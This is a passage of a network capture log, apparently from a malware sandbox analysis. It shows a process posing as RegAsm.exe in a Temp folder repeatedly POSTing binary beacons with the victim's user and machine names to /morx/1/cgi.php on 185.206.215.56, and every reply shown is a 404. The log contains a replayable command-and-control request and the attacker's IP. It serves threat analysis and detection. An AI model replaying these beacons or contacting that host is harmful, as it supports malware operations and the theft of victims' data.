Jan 5, 2021 19:06:56.293616056 CET	1307	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:56.397186995 CET	1307	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:55 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.22	49293	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:56.594263077 CET	1308	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:56.667865992 CET	1308	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:56.764003992 CET	1308	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:55 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.22	49294	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:56.973337889 CET	1309	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:57.042802095 CET	1309	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:57.143234015 CET	1310	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:56 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.22	49295	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:57.346020937 CET	1310	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:57.433732033 CET	1311	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:57.532123089 CET	1311	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:56 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.22	49296	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:57.742988110 CET	1312	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:57.808327913 CET	1312	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:57.910446882 CET	1312	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:56 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.22	49180	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:12.449877024 CET	1159	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:12.527606964 CET	1159	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:12.609106064 CET	1159	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:11 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.22	49297	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:58.107471943 CET	1313	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:58.183504105 CET	1313	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:58.291277885 CET	1314	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:57 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.22	49298	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:58.499485016 CET	1314	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:58.574080944 CET	1315	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:58.677454948 CET	1315	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:57 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.22	49299	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:58.918368101 CET	1316	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:58.996465921 CET	1316	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:59.104108095 CET	1316	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:58 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.22	49300	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:59.313559055 CET	1317	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:59.386737108 CET	1317	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:59.474234104 CET	1318	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:58 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.22	49301	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:59.687246084 CET	1318	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:59.761672974 CET	1318	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:59.847928047 CET	1319	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:58 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.22	49302	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:00.058160067 CET	1320	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:00.136981964 CET	1320	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:00.228245974 CET	1320	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:59 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.22	49303	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:00.450812101 CET	1321	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:00.527220011 CET	1321	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:00.618918896 CET	1321	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:59 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.22	49304	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:00.828362942 CET	1322	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:00.902213097 CET	1322	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:00.993556023 CET	1323	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:00 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.22	49305	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:01.210699081 CET	1323	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:01.277134895 CET	1324	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:01.363213062 CET	1324	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:00 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.22	49306	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:01.575817108 CET	1325	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:01.652148962 CET	1325	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:01.750904083 CET	1325	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:00 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.22	49181	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:12.832798958 CET	1160	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:12.902548075 CET	1160	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:12.987730980 CET	1161	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:12 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.22	49307	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:01.975553036 CET	1326	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:02.043100119 CET	1326	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:02.132844925 CET	1327	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:01 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.22	49308	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:02.334168911 CET	1327	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:02.402632952 CET	1328	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:02.488881111 CET	1328	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:01 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.22	49309	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:02.695432901 CET	1329	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:02.777380943 CET	1329	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:02.863487959 CET	1329	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:01 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.22	49310	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:03.081979036 CET	1330	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
